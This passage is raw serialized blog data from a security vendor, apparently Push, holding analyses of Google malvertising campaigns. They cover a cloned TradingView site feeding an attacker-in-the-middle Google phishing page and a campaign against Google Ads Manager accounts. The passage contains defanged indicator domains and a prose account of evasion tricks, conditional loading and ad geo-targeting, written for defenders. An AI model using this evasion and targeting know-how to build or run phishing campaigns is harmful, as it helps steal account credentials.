(such as the recent attacks by the “",{"data":111687,"content":111688,"nodeType":882},{"uri":8759},[111689],{"data":111690,"marks":111691,"value":19437,"nodeType":865},{},[111692],{"type":997},{"data":111694,"marks":111695,"value":111696,"nodeType":865},{},[],"” criminal collective, all of which began with identity-based initial access). For this reason, credentials and account access are an increasingly profitable commodity for cyber criminals. ",{"data":111698,"content":111702,"nodeType":925},{"target":111699},{"sys":111700},{"id":111701,"type":922,"linkType":923},"7cq2IbGHIFH2UhkjIrwxGd",[],{"data":111704,"content":111705,"nodeType":1458},{},[111706],{"data":111707,"marks":111708,"value":111710,"nodeType":865},{},[111709],{"type":961},"Conditional loading parameters prevented the site being flagged as known-bad",{"data":111712,"content":111713,"nodeType":866},{},[111714,111718,111725],{"data":111715,"marks":111716,"value":111717,"nodeType":865},{},[],"The attacker used clever ",{"data":111719,"content":111720,"nodeType":882},{"uri":70317},[111721],{"data":111722,"marks":111723,"value":70323,"nodeType":865},{},[111724],{"type":997},{"data":111726,"marks":111727,"value":111728,"nodeType":865},{},[]," techniques to prevent the page being accessed unless the correct steps were followed. This means that security analysts attempting to load one of the pages in isolation would either be served with a benign page, or be blocked from accessing the page in order to analyse it for malicious content.  ",{"data":111730,"content":111734,"nodeType":925},{"target":111731},{"sys":111732},{"id":111733,"type":922,"linkType":923},"2vjZTsrjuILnt5UjNx9Nce",[],{"data":111736,"content":111740,"nodeType":925},{"target":111737},{"sys":111738},{"id":111739,"type":922,"linkType":923},"3pOLIA4beNZ9tU87YLlhT0",[],{"data":111742,"content":111743,"nodeType":866},{},[111744],{"data":111745,"marks":111746,"value":111747,"nodeType":865},{},[],"Further, the attacker tightly scoped the initial malvertising lure to prevent unwanted visitors. Google Ads can be targeted to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. ",{"data":111749,"content":111750,"nodeType":953},{},[],{"data":111752,"content":111753,"nodeType":963},{},[111754],{"data":111755,"marks":111756,"value":111758,"nodeType":865},{},[111757],{"type":961},"Further observations",{"data":111760,"content":111761,"nodeType":866},{},[111762,111765,111774],{"data":111763,"marks":111764,"value":21,"nodeType":865},{},[],{"data":111766,"content":111768,"nodeType":882},{"uri":111767},"https://www.bleepingcomputer.com/news/security/google-ads-for-fake-homebrew-logmein-sites-push-infostealers/",[111769],{"data":111770,"marks":111771,"value":111773,"nodeType":865},{},[111772],{"type":997},"According to security researchers",{"data":111775,"marks":111776,"value":111777,"nodeType":865},{},[],", attackers have been recently observed running ClickFix malvertising campaigns over Google Search that also impersonated TradingView. These attacks attempted to deliver malware to Mac users, harvesting sensitive information stored in the browser, cryptocurrency credentials, and exfiltrating to the command and control server.",{"data":111779,"content":111783,"nodeType":925},{"target":111780},{"sys":111781},{"id":111782,"type":922,"linkType":923},"VeLfUptGY8ygKHroPxTby",[],{"data":111785,"content":111786,"nodeType":866},{},[111787],{"data":111788,"marks":111789,"value":111790,"nodeType":865},{},[],"Attackers have been known to target investment and cryptocurrency accounts, particularly those aligned with North Korean state-sponsored operations. This is both targeting individual users as well as business accounts used in operating exchanges themselves, such as in the massive Bybit hack earlier this year. ",{"data":111792,"content":111793,"nodeType":953},{},[],{"data":111795,"content":111796,"nodeType":963},{},[111797],{"data":111798,"marks":111799,"value":22744,"nodeType":865},{},[111800],{"type":961},{"data":111802,"content":111803,"nodeType":866},{},[111804,111807,111814],{"data":111805,"marks":111806,"value":25047,"nodeType":865},{},[],{"data":111808,"content":111809,"nodeType":882},{"uri":13757},[111810],{"data":111811,"marks":111812,"value":13762,"nodeType":865},{},[111813],{"type":997},{"data":111815,"marks":111816,"value":70887,"nodeType":865},{},[],{"data":111818,"content":111819,"nodeType":866},{},[111820],{"data":111821,"marks":111822,"value":90356,"nodeType":865},{},[],{"data":111824,"content":111825,"nodeType":1049},{},[111826,111836,111846],{"data":111827,"content":111828,"nodeType":1003},{},[111829],{"data":111830,"content":111831,"nodeType":866},{},[111832],{"data":111833,"marks":111834,"value":111835,"nodeType":865},{},[],"hxxps://tradingview-charts-compare.primevoro.com",{"data":111837,"content":111838,"nodeType":1003},{},[111839],{"data":111840,"content":111841,"nodeType":866},{},[111842],{"data":111843,"marks":111844,"value":111845,"nodeType":865},{},[],"hxxps://tradingplatforms.app",{"data":111847,"content":111848,"nodeType":1003},{},[111849],{"data":111850,"content":111851,"nodeType":866},{},[111852],{"data":111853,"marks":111854,"value":111855,"nodeType":865},{},[],"hxxps://accounts.aeonnailspa.com",{"data":111857,"content":111858,"nodeType":953},{},[],{"data":111860,"content":111861,"nodeType":963},{},[111862],{"data":111863,"marks":111864,"value":70978,"nodeType":865},{},[111865],{"type":961},{"data":111867,"content":111868,"nodeType":866},{},[111869,111872,111879],{"data":111870,"marks":111871,"value":70998,"nodeType":865},{},[],{"data":111873,"content":111874,"nodeType":882},{"uri":13634},[111875],{"data":111876,"marks":111877,"value":71006,"nodeType":865},{},[111878],{"type":997},{"data":111880,"marks":111881,"value":71010,"nodeType":865},{},[],{"data":111883,"content":111884,"nodeType":866},{},[111885],{"data":111886,"marks":111887,"value":111888,"nodeType":865},{},[],"This isn’t all we do: Push’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":111890,"content":111891,"nodeType":866},{},[111892,111895,111902,111905,111912],{"data":111893,"marks":111894,"value":32401,"nodeType":865},{},[],{"data":111896,"content":111897,"nodeType":882},{"uri":22700},[111898],{"data":111899,"marks":111900,"value":22706,"nodeType":865},{},[111901],{"type":997},{"data":111903,"marks":111904,"value":71034,"nodeType":865},{},[],{"data":111906,"content":111907,"nodeType":882},{"uri":1728},[111908],{"data":111909,"marks":111910,"value":22730,"nodeType":865},{},[111911],{"type":997},{"data":111913,"marks":111914,"value":1048,"nodeType":865},{},[],{"data":111916,"content":111919,"nodeType":925},{"target":111917},{"sys":111918},{"id":71049,"type":922,"linkType":923},[],{"data":111921,"content":111922,"nodeType":866},{},[111923],{"data":111924,"marks":111925,"value":21,"nodeType":865},{},[],{"entries":111927},{"hyperlink":111928,"inline":111929,"block":111930},[],[],[111931,111935,111941,111946,111952,111957,111962,111969,112026,112030,112036,112043],{"sys":111932,"__typename":12453,"title":111933,"arcadeDemoUrl":111934,"playText":12456},{"id":111541},"TradingView Malvertising Attack Walkthrough","https://demo.arcade.software/EIVP2emVADsDxut9CZjO?embed",{"sys":111936,"__typename":1747,"title":111937,"caption":111937,"layoutMode":59,"file":111938},{"id":111564},"Initial landing page used as a redirect. This looks similar to many vibe coded sites used by attackers as part of their malvertising and phishing link chains. ",{"url":111939,"width":1759,"height":111940},"https://images.ctfassets.net/y1cdw1ablpvd/2hBe7jYE9VEuAeICiV0yfU/642f74f4212c238e06090c256c9408bf/image5.png",1204,{"sys":111942,"__typename":1747,"title":111943,"caption":111943,"layoutMode":59,"file":111944},{"id":111577},"Cloned TradingView site.",{"url":111945,"width":1759,"height":111940},"https://images.ctfassets.net/y1cdw1ablpvd/71PIYOQpNCGqP35OOeOg44/0823d6231bc3ab492da47436e985025e/image7.png",{"sys":111947,"__typename":1747,"title":111948,"caption":111948,"layoutMode":59,"file":111949},{"id":111583},"The cloned TradingView site is almost identical to the real site.",{"url":111950,"width":1759,"height":111951},"https://images.ctfassets.net/y1cdw1ablpvd/5MLctABFj0A38eIBtaZCAg/b420ac0c7e9b04f55f1b76a80627b373/image8.png",613,{"sys":111953,"__typename":1747,"title":111954,"caption":111954,"layoutMode":59,"file":111955},{"id":111596},"Convincing page prompting the victim to sign in with Google. ",{"url":111956,"width":1759,"height":111940},"https://images.ctfassets.net/y1cdw1ablpvd/1hBfWMM1qhV7rKbwuieCB8/5ce3047801ac23b777fd6ae5ff03d7f4/image4.png",{"sys":111958,"__typename":1747,"title":111959,"caption":111959,"layoutMode":59,"file":111960},{"id":111609},"Attacker-in-the-Middle phishing page targeting Google. ",{"url":111961,"width":1759,"height":111940},"https://images.ctfassets.net/y1cdw1ablpvd/192mknDIa1Cr7uVyjW0msk/ba0c0f272cac424e50ff0ad5a3eeb84e/image3.png",{"sys":111963,"__typename":1747,"title":111964,"caption":111964,"layoutMode":59,"file":111965},{"id":111622},"Push’s timeline of URLs and user actions throughout the phishing attack chain.",{"url":111966,"width":111967,"height":111968},"https://images.ctfassets.net/y1cdw1ablpvd/1JoNJ3qxJgcpXZ4gBI5NeS/f52878e53e7b647e8258f6991b8bfb1d/image6.png",1820,1130,{"sys":111970,"__typename":9270,"content":111971,"name":112025,"title":59},{"id":111701},{"json":111972},{"data":111973,"content":111974,"nodeType":1739},{},[111975,112006],{"data":111976,"content":111977,"nodeType":866},{},[111978,111982,111990,111994,112002],{"data":111979,"marks":111980,"value":111981,"nodeType":865},{},[],"We’ve noticed a significant ",{"data":111983,"content":111984,"nodeType":882},{"uri":89973},[111985],{"data":111986,"marks":111987,"value":111989,"nodeType":865},{},[111988],{"type":997},"increase in malvertising attacks",{"data":111991,"marks":111992,"value":111993,"nodeType":865},{},[]," for the delivery of phishing links, malware downloads, and ClickFix-style attacks (",{"data":111995,"content":111996,"nodeType":882},{"uri":38372},[111997],{"data":111998,"marks":111999,"value":112001,"nodeType":865},{},[112000],{"type":997},"4 in 5 ClickFix attacks intercepted by Push were delivered via Google Search",{"data":112003,"marks":112004,"value":112005,"nodeType":865},{},[],").",{"data":112007,"content":112008,"nodeType":866},{},[112009,112013,112021],{"data":112010,"marks":112011,"value":112012,"nodeType":865},{},[],"At the same time, ",{"data":112014,"content":112015,"nodeType":882},{"uri":89996},[112016],{"data":112017,"marks":112018,"value":112020,"nodeType":865},{},[112019],{"type":997},"attacks targeting ad management accounts",{"data":112022,"marks":112023,"value":112024,"nodeType":865},{},[]," used to propagate malicious ads are also on the rise, indicating that this is an area of focus for attackers.","Google malvertising blog insight box 1",{"sys":112027,"__typename":1747,"title":112028,"caption":112028,"layoutMode":59,"file":112029},{"id":111733},"Loading the initial URL directly serves up a benign website rather than redirecting to the next stage in the phishing chain.",{"url":111939,"width":1759,"height":111940},{"sys":112031,"__typename":1747,"title":112032,"caption":112032,"layoutMode":59,"file":112033},{"id":111739},"Attempting to manually load the second site in the phishing chain results in access being denied, where conditional loading parameters are missing.",{"url":112034,"width":1759,"height":112035},"https://images.ctfassets.net/y1cdw1ablpvd/16FOwZxxctoxktnsj9y0Rk/35de320ebb1163758bfa899020766b88/image2.png",1095,{"sys":112037,"__typename":1747,"title":112038,"caption":112038,"layoutMode":59,"file":112039},{"id":111782},"TradingView ClickFix lure reported by Bleeping Computer.",{"url":112040,"width":112041,"height":112042},"https://images.ctfassets.net/y1cdw1ablpvd/5aQwcuSaJTqHma3pOPoijI/14515ddb907526c8d2867275f3f4e164/image1.png",688,525,{"sys":112044,"__typename":5631,"type":5632,"ctaText":106726,"buttonLabel":88203,"buttonColour":5635,"buttonUrl":106660},{"id":71049},{"items":112046},[],{},"Analysing a sophisticated Google malvertising attack","2025-12-08T00:00:00.000Z",{"items":112051},[112052,112432,112952],{"__typename":1788,"sys":112053,"content":112054,"title":103678,"synopsis":112421,"hashTags":59,"publishedDate":108064,"slug":103679,"tagsCollection":112422,"authorsCollection":112428},{"id":98718},{"json":112055},{"data":112056,"content":112057,"nodeType":1739},{},[112058,112065,112072,112078,112085,112118,112125,112131,112138,112144,112150,112156,112162,112168,112171,112179,112186,112193,112199,112207,112213,112229,112236,112253,112258,112261,112268,112275,112348,112354,112357,112364,112371,112378,112384,112410,112415],{"data":112059,"content":112060,"nodeType":963},{},[112061],{"data":112062,"marks":112063,"value":90055,"nodeType":865},{},[112064],{"type":961},{"data":112066,"content":112067,"nodeType":866},{},[112068],{"data":112069,"marks":112070,"value":112071,"nodeType":865},{},[],"We recently detected and blocked a malvertising attack impacting one of our customer’s employees. The employee had searched for “Google ads” in Google Search to log into their Google Ads Manager account.  ",{"data":112073,"content":112077,"nodeType":925},{"target":112074},{"sys":112075},{"id":112076,"type":922,"linkType":923},"40RyyKZC0R07wLU1OZBmH",[],{"data":112079,"content":112080,"nodeType":866},{},[112081],{"data":112082,"marks":112083,"value":112084,"nodeType":865},{},[],"The user:",{"data":112086,"content":112087,"nodeType":1049},{},[112088,112098,112108],{"data":112089,"content":112090,"nodeType":1003},{},[112091],{"data":112092,"content":112093,"nodeType":866},{},[112094],{"data":112095,"marks":112096,"value":112097,"nodeType":865},{},[],"Searched for “Google ads” in Google Search",{"data":112099,"content":112100,"nodeType":1003},{},[112101],{"data":112102,"content":112103,"nodeType":866},{},[112104],{"data":112105,"marks":112106,"value":112107,"nodeType":865},{},[],"Click the ad for hxxps://ads-adsword1.odoo.com/…",{"data":112109,"content":112110,"nodeType":1003},{},[112111],{"data":112112,"content":112113,"nodeType":866},{},[112114],{"data":112115,"marks":112116,"value":112117,"nodeType":865},{},[],"Was redirected to hxxps://sing-operador2.click/accounts/v3/login/ where the phishing form was blocked. ",{"data":112119,"content":112120,"nodeType":866},{},[112121],{"data":112122,"marks":112123,"value":112124,"nodeType":865},{},[],"When we came to investigate this detection further, we found that the site had already been taken down.  ",{"data":112126,"content":112130,"nodeType":925},{"target":112127},{"sys":112128},{"id":112129,"type":922,"linkType":923},"6eAIVxgaEDQ9krKZvu8zyI",[],{"data":112132,"content":112133,"nodeType":866},{},[112134],{"data":112135,"marks":112136,"value":112137,"nodeType":865},{},[],"However, we were able to replicate the user’s activity to find other examples that show clear signs of being linked to the same campaign — both hosted on Odoo, with one also using Kartra as a redirect.",{"data":112139,"content":112143,"nodeType":925},{"target":112140},{"sys":112141},{"id":112142,"type":922,"linkType":923},"1wGu0slZcKBNIUhuNk5SZN",[],{"data":112145,"content":112149,"nodeType":925},{"target":112146},{"sys":112147},{"id":112148,"type":922,"linkType":923},"5SqaaD4vDzvdkzVX8ypxvB",[],{"data":112151,"content":112155,"nodeType":925},{"target":112152},{"sys":112153},{"id":112154,"type":922,"linkType":923},"7IT185wut2jTtQy1lC9F5t",[],{"data":112157,"content":112161,"nodeType":925},{"target":112158},{"sys":112159},{"id":112160,"type":922,"linkType":923},"78WkGo9ZTio1fYvfP7W68",[],{"data":112163,"content":112167,"nodeType":925},{"target":112164},{"sys":112165},{"id":112166,"type":922,"linkType":923},"5CWMR1gxq3Uao4HGGhRLKE",[],{"data":112169,"content":112170,"nodeType":953},{},[],{"data":112172,"content":112173,"nodeType":963},{},[112174],{"data":112175,"marks":112176,"value":112178,"nodeType":865},{},[112177],{"type":961},"Why malvertising & Google ads?",{"data":112180,"content":112181,"nodeType":866},{},[112182],{"data":112183,"marks":112184,"value":112185,"nodeType":865},{},[],"Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. ",{"data":112187,"content":112188,"nodeType":866},{},[112189],{"data":112190,"marks":112191,"value":112192,"nodeType":865},{},[],"The flipside of this is that malvertising attacks are less likely to be targeted than phishing delivered directly to the victim via a direct message (i.e. email, social media DM, instant messenger app, SMS, etc.). This appears to be true in this case: we were served the ad from a UK location despite the initial ad targeting an EU-based company. ",{"data":112194,"content":112195,"nodeType":866},{},[112196],{"data":112197,"marks":112198,"value":107939,"nodeType":865},{},[],{"data":112200,"content":112201,"nodeType":866},{},[112202],{"data":112203,"marks":112204,"value":112206,"nodeType":865},{},[112205],{"type":961},"In this case, it appears that the attacker was specifically targeting Google Ad Manager accounts. ",{"data":112208,"content":112212,"nodeType":925},{"target":112209},{"sys":112210},{"id":112211,"type":922,"linkType":923},"5JA7xWPghOBln49SfkvefW",[],{"data":112214,"content":112215,"nodeType":866},{},[112216,112219,112226],{"data":112217,"marks":112218,"value":107899,"nodeType":865},{},[],{"data":112220,"content":112221,"nodeType":882},{"uri":38372},[112222],{"data":112223,"marks":112224,"value":315,"nodeType":865},{},[112225],{"type":997},{"data":112227,"marks":112228,"value":107910,"nodeType":865},{},[],{"data":112230,"content":112231,"nodeType":866},{},[112232],{"data":112233,"marks":112234,"value":112235,"nodeType":865},{},[],"Particularly for organizations that are running large numbers of ads with pre-allocated budget/cards for their ad account, or organizations performing ad management/marketing services on behalf of other organizations, it’s easy to see how attackers can take over these accounts and spin up malicious ads. ",{"data":112237,"content":112238,"nodeType":866},{},[112239,112243,112250],{"data":112240,"marks":112241,"value":112242,"nodeType":865},{},[],"Malvertising via Google Search is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":112244,"content":112245,"nodeType":882},{"uri":8759},[112246],{"data":112247,"marks":112248,"value":19437,"nodeType":865},{},[112249],{"type":997},{"data":112251,"marks":112252,"value":111696,"nodeType":865},{},[],{"data":112254,"content":112257,"nodeType":925},{"target":112255},{"sys":112256},{"id":71049,"type":922,"linkType":923},[],{"data":112259,"content":112260,"nodeType":953},{},[],{"data":112262,"content":112263,"nodeType":963},{},[112264],{"data":112265,"marks":112266,"value":22744,"nodeType":865},{},[112267],{"type":961},{"data":112269,"content":112270,"nodeType":866},{},[112271],{"data":112272,"marks":112273,"value":112274,"nodeType":865},{},[],"The following domains were involved in the attacks:",{"data":112276,"content":112277,"nodeType":1049},{},[112278,112288,112298,112308,112318,112328,112338],{"data":112279,"content":112280,"nodeType":1003},{},[112281],{"data":112282,"content":112283,"nodeType":866},{},[112284],{"data":112285,"marks":112286,"value":112287,"nodeType":865},{},[],"hxxps://ads-adsword1.odoo.com",{"data":112289,"content":112290,"nodeType":1003},{},[112291],{"data":112292,"content":112293,"nodeType":866},{},[112294],{"data":112295,"marks":112296,"value":112297,"nodeType":865},{},[],"hxxps://sing-operador2.click/accounts/v3/login",{"data":112299,"content":112300,"nodeType":1003},{},[112301],{"data":112302,"content":112303,"nodeType":866},{},[112304],{"data":112305,"marks":112306,"value":112307,"nodeType":865},{},[],"hxxps://adsgooglie.odoo.com/",{"data":112309,"content":112310,"nodeType":1003},{},[112311],{"data":112312,"content":112313,"nodeType":866},{},[112314],{"data":112315,"marks":112316,"value":112317,"nodeType":865},{},[],"hxxps://word4only.online/",{"data":112319,"content":112320,"nodeType":1003},{},[112321],{"data":112322,"content":112323,"nodeType":866},{},[112324],{"data":112325,"marks":112326,"value":112327,"nodeType":865},{},[],"hxxps://adsloginacess.kartra.com/page/oeN7",{"data":112329,"content":112330,"nodeType":1003},{},[112331],{"data":112332,"content":112333,"nodeType":866},{},[112334],{"data":112335,"marks":112336,"value":112337,"nodeType":865},{},[],"hxxps://ads-o.odoo.com",{"data":112339,"content":112340,"nodeType":1003},{},[112341],{"data":112342,"content":112343,"nodeType":866},{},[112344],{"data":112345,"marks":112346,"value":112347,"nodeType":865},{},[],"hxxps://operador8-ads.lat/accounts/v3/login/",{"data":112349,"content":112350,"nodeType":866},{},[112351],{"data":112352,"marks":112353,"value":108002,"nodeType":865},{},[],{"data":112355,"content":112356,"nodeType":953},{},[],{"data":112358,"content":112359,"nodeType":963},{},[112360],{"data":112361,"marks":112362,"value":70978,"nodeType":865},{},[112363],{"type":961},{"data":112365,"content":112366,"nodeType":866},{},[112367],{"data":112368,"marks":112369,"value":112370,"nodeType":865},{},[],"Regardless of the delivery channel, all roads lead to a web page accessed in the victim’s browser — where Push is waiting to detect and block the attack. ",{"data":112372,"content":112373,"nodeType":866},{},[112374],{"data":112375,"marks":112376,"value":112377,"nodeType":865},{},[],"By seeing what your users see, and getting an unfiltered, real-time view of the page as it loads, Push is able to pinpoint malicious content, code, and behaviors and shut the attack down before it happens. Whether it's entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA, Push detects the action and responds in real-time.",{"data":112379,"content":112380,"nodeType":866},{},[112381],{"data":112382,"marks":112383,"value":90297,"nodeType":865},{},[],{"data":112385,"content":112386,"nodeType":866},{},[112387,112390,112397,112400,112407],{"data":112388,"marks":112389,"value":32401,"nodeType":865},{},[],{"data":112391,"content":112392,"nodeType":882},{"uri":22700},[112393],{"data":112394,"marks":112395,"value":22706,"nodeType":865},{},[112396],{"type":997},{"data":112398,"marks":112399,"value":71034,"nodeType":865},{},[],{"data":112401,"content":112402,"nodeType":882},{"uri":1728},[112403],{"data":112404,"marks":112405,"value":22730,"nodeType":865},{},[112406],{"type":997},{"data":112408,"marks":112409,"value":1048,"nodeType":865},{},[],{"data":112411,"content":112414,"nodeType":925},{"target":112412},{"sys":112413},{"id":71049,"type":922,"linkType":923},[],{"data":112416,"content":112417,"nodeType":866},{},[112418],{"data":112419,"marks":112420,"value":21,"nodeType":865},{},[],"Analysing a malvertising attack targeting Google business accounts that was intercepted by Push. ",{"items":112423},[112424,112426],{"sys":112425,"name":342},{"id":8410},{"sys":112427,"name":11426},{"id":11425},{"items":112429},[112430],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":112431},{"url":11434},{"__typename":1788,"sys":112433,"content":112434,"title":60312,"synopsis":108063,"hashTags":59,"publishedDate":108064,"slug":60313,"tagsCollection":112942,"authorsCollection":112948},{"id":15560},{"json":112435},{"data":112436,"content":112437,"nodeType":1739},{},[112438,112444,112450,112456,112461,112467,112470,112477,112483,112489,112495,112500,112506,112511,112517,112522,112528,112533,112559,112565,112570,112576,112581,112587,112592,112598,112637,112640,112647,112653,112659,112665,112670,112673,112680,112686,112702,112707,112712,112717,112723,112728,112733,112749,112752,112759,112775,112780,112786,112802,112809,112815,112821,112827,112843,112850,112856,112861,112864,112871,112877,112883,112886,112893,112899,112905,112931,112936],{"data":112439,"content":112440,"nodeType":866},{},[112441],{"data":112442,"marks":112443,"value":107493,"nodeType":865},{},[],{"data":112445,"content":112446,"nodeType":866},{},[112447],{"data":112448,"marks":112449,"value":107500,"nodeType":865},{},[],{"data":112451,"content":112452,"nodeType":866},{},[112453],{"data":112454,"marks":112455,"value":107507,"nodeType":865},{},[],{"data":112457,"content":112460,"nodeType":925},{"target":112458},{"sys":112459},{"id":107512,"type":922,"linkType":923},[],{"data":112462,"content":112463,"nodeType":866},{},[112464],{"data":112465,"marks":112466,"value":107520,"nodeType":865},{},[],{"data":112468,"content":112469,"nodeType":953},{},[],{"data":112471,"content":112472,"nodeType":963},{},[112473],{"data":112474,"marks":112475,"value":107531,"nodeType":865},{},[112476],{"type":961},{"data":112478,"content":112479,"nodeType":866},{},[112480],{"data":112481,"marks":112482,"value":107538,"nodeType":865},{},[],{"data":112484,"content":112485,"nodeType":866},{},[112486],{"data":112487,"marks":112488,"value":107545,"nodeType":865},{},[],{"data":112490,"content":112491,"nodeType":866},{},[112492],{"data":112493,"marks":112494,"value":107552,"nodeType":865},{},[],{"data":112496,"content":112499,"nodeType":925},{"target":112497},{"sys":112498},{"id":107557,"type":922,"linkType":923},[],{"data":112501,"content":112502,"nodeType":866},{},[112503],{"data":112504,"marks":112505,"value":107565,"nodeType":865},{},[],{"data":112507,"content":112510,"nodeType":925},{"target":112508},{"sys":112509},{"id":107570,"type":922,"linkType":923},[],{"data":112512,"content":112513,"nodeType":866},{},[112514],{"data":112515,"marks":112516,"value":107578,"nodeType":865},{},[],{"data":112518,"content":112521,"nodeType":925},{"target":112519},{"sys":112520},{"id":107583,"type":922,"linkType":923},[],{"data":112523,"content":112524,"nodeType":866},{},[112525],{"data":112526,"marks":112527,"value":107591,"nodeType":865},{},[],{"data":112529,"content":112532,"nodeType":925},{"target":112530},{"sys":112531},{"id":107596,"type":922,"linkType":923},[],{"data":112534,"content":112535,"nodeType":866},{},[112536,112539,112546,112549,112556],{"data":112537,"marks":112538,"value":107604,"nodeType":865},{},[],{"data":112540,"content":112541,"nodeType":882},{"uri":70317},[112542],{"data":112543,"marks":112544,"value":107612,"nodeType":865},{},[112545],{"type":997},{"data":112547,"marks":112548,"value":107616,"nodeType":865},{},[],{"data":112550,"content":112551,"nodeType":882},{"uri":13634},[112552],{"data":112553,"marks":112554,"value":13639,"nodeType":865},{},[112555],{"type":997},{"data":112557,"marks":112558,"value":107627,"nodeType":865},{},[],{"data":112560,"content":112561,"nodeType":866},{},[112562],{"data":112563,"marks":112564,"value":107634,"nodeType":865},{},[],{"data":112566,"content":112569,"nodeType":925},{"target":112567},{"sys":112568},{"id":107639,"type":922,"linkType":923},[],{"data":112571,"content":112572,"nodeType":866},{},[112573],{"data":112574,"marks":112575,"value":107647,"nodeType":865},{},[],{"data":112577,"content":112580,"nodeType":925},{"target":112578},{"sys":112579},{"id":107652,"type":922,"linkType":923},[],{"data":112582,"content":112583,"nodeType":866},{},[112584],{"data":112585,"marks":112586,"value":107660,"nodeType":865},{},[],{"data":112588,"content":112591,"nodeType":925},{"target":112589},{"sys":112590},{"id":107665,"type":922,"linkType":923},[],{"data":112593,"content":112594,"nodeType":866},{},[112595],{"data":112596,"marks":112597,"value":107673,"nodeType":865},{},[],{"data":112599,"content":112600,"nodeType":1049},{},[112601,112610,112619,112628],{"data":112602,"content":112603,"nodeType":1003},{},[112604],{"data":112605,"content":112606,"nodeType":866},{},[112607],{"data":112608,"marks":112609,"value":107686,"nodeType":865},{},[],{"data":112611,"content":112612,"nodeType":1003},{},[112613],{"data":112614,"content":112615,"nodeType":866},{},[112616],{"data":112617,"marks":112618,"value":107696,"nodeType":865},{},[],{"data":112620,"content":112621,"nodeType":1003},{},[112622],{"data":112623,"content":112624,"nodeType":866},{},[112625],{"data":112626,"marks":112627,"value":107706,"nodeType":865},{},[],{"data":112629,"content":112630,"nodeType":1003},{},[112631],{"data":112632,"content":112633,"nodeType":866},{},[112634],{"data":112635,"marks":112636,"value":107716,"nodeType":865},{},[],{"data":112638,"content":112639,"nodeType":953},{},[],{"data":112641,"content":112642,"nodeType":963},{},[112643],{"data":112644,"marks":112645,"value":107727,"nodeType":865},{},[112646],{"type":961},{"data":112648,"content":112649,"nodeType":866},{},[112650],{"data":112651,"marks":112652,"value":107734,"nodeType":865},{},[],{"data":112654,"content":112655,"nodeType":866},{},[112656],{"data":112657,"marks":112658,"value":107741,"nodeType":865},{},[],{"data":112660,"content":112661,"nodeType":866},{},[112662],{"data":112663,"marks":112664,"value":107748,"nodeType":865},{},[],{"data":112666,"content":112669,"nodeType":925},{"target":112667},{"sys":112668},{"id":107753,"type":922,"linkType":923},[],{"data":112671,"content":112672,"nodeType":953},{},[],{"data":112674,"content":112675,"nodeType":963},{},[112676],{"data":112677,"marks":112678,"value":107765,"nodeType":865},{},[112679],{"type":961},{"data":112681,"content":112682,"nodeType":866},{},[112683],{"data":112684,"marks":112685,"value":107772,"nodeType":865},{},[],{"data":112687,"content":112688,"nodeType":866},{},[112689,112692,112699],{"data":112690,"marks":112691,"value":107779,"nodeType":865},{},[],{"data":112693,"content":112694,"nodeType":882},{"uri":107782},[112695],{"data":112696,"marks":112697,"value":107788,"nodeType":865},{},[112698],{"type":997},{"data":112700,"marks":112701,"value":107792,"nodeType":865},{},[],{"data":112703,"content":112706,"nodeType":925},{"target":112704},{"sys":112705},{"id":107797,"type":922,"linkType":923},[],{"data":112708,"content":112711,"nodeType":925},{"target":112709},{"sys":112710},{"id":107803,"type":922,"linkType":923},[],{"data":112713,"content":112716,"nodeType":925},{"target":112714},{"sys":112715},{"id":107809,"type":922,"linkType":923},[],{"data":112718,"content":112719,"nodeType":866},{},[112720],{"data":112721,"marks":112722,"value":107817,"nodeType":865},{},[],{"data":112724,"content":112727,"nodeType":925},{"target":112725},{"sys":112726},{"id":107822,"type":922,"linkType":923},[],{"data":112729,"content":112732,"nodeType":925},{"target":112730},{"sys":112731},{"id":107828,"type":922,"linkType":923},[],{"data":112734,"content":112735,"nodeType":866},{},[112736,112739,112746],{"data":112737,"marks":112738,"value":107836,"nodeType":865},{},[],{"data":112740,"content":112741,"nodeType":882},{"uri":107839},[112742],{"data":112743,"marks":112744,"value":107845,"nodeType":865},{},[112745],{"type":997},{"data":112747,"marks":112748,"value":107849,"nodeType":865},{},[],{"data":112750,"content":112751,"nodeType":953},{},[],{"data":112753,"content":112754,"nodeType":963},{},[112755],{"data":112756,"marks":112757,"value":107860,"nodeType":865},{},[112758],{"type":961},{"data":112760,"content":112761,"nodeType":866},{},[112762,112765,112772],{"data":112763,"marks":112764,"value":107867,"nodeType":865},{},[],{"data":112766,"content":112767,"nodeType":882},{"uri":107870},[112768],{"data":112769,"marks":112770,"value":29898,"nodeType":865},{},[112771],{"type":997},{"data":112773,"marks":112774,"value":107879,"nodeType":865},{},[],{"data":112776,"content":112779,"nodeType":925},{"target":112777},{"sys":112778},{"id":107884,"type":922,"linkType":923},[],{"data":112781,"content":112782,"nodeType":866},{},[112783],{"data":112784,"marks":112785,"value":107892,"nodeType":865},{},[],{"data":112787,"content":112788,"nodeType":866},{},[112789,112792,112799],{"data":112790,"marks":112791,"value":107899,"nodeType":865},{},[],{"data":112793,"content":112794,"nodeType":882},{"uri":38372},[112795],{"data":112796,"marks":112797,"value":315,"nodeType":865},{},[112798],{"type":997},{"data":112800,"marks":112801,"value":107910,"nodeType":865},{},[],{"data":112803,"content":112804,"nodeType":1458},{},[112805],{"data":112806,"marks":112807,"value":107918,"nodeType":865},{},[112808],{"type":961},{"data":112810,"content":112811,"nodeType":866},{},[112812],{"data":112813,"marks":112814,"value":107925,"nodeType":865},{},[],{"data":112816,"content":112817,"nodeType":866},{},[112818],{"data":112819,"marks":112820,"value":107932,"nodeType":865},{},[],{"data":112822,"content":112823,"nodeType":866},{},[112824],{"data":112825,"marks":112826,"value":107939,"nodeType":865},{},[],{"data":112828,"content":112829,"nodeType":866},{},[112830,112833,112840],{"data":112831,"mar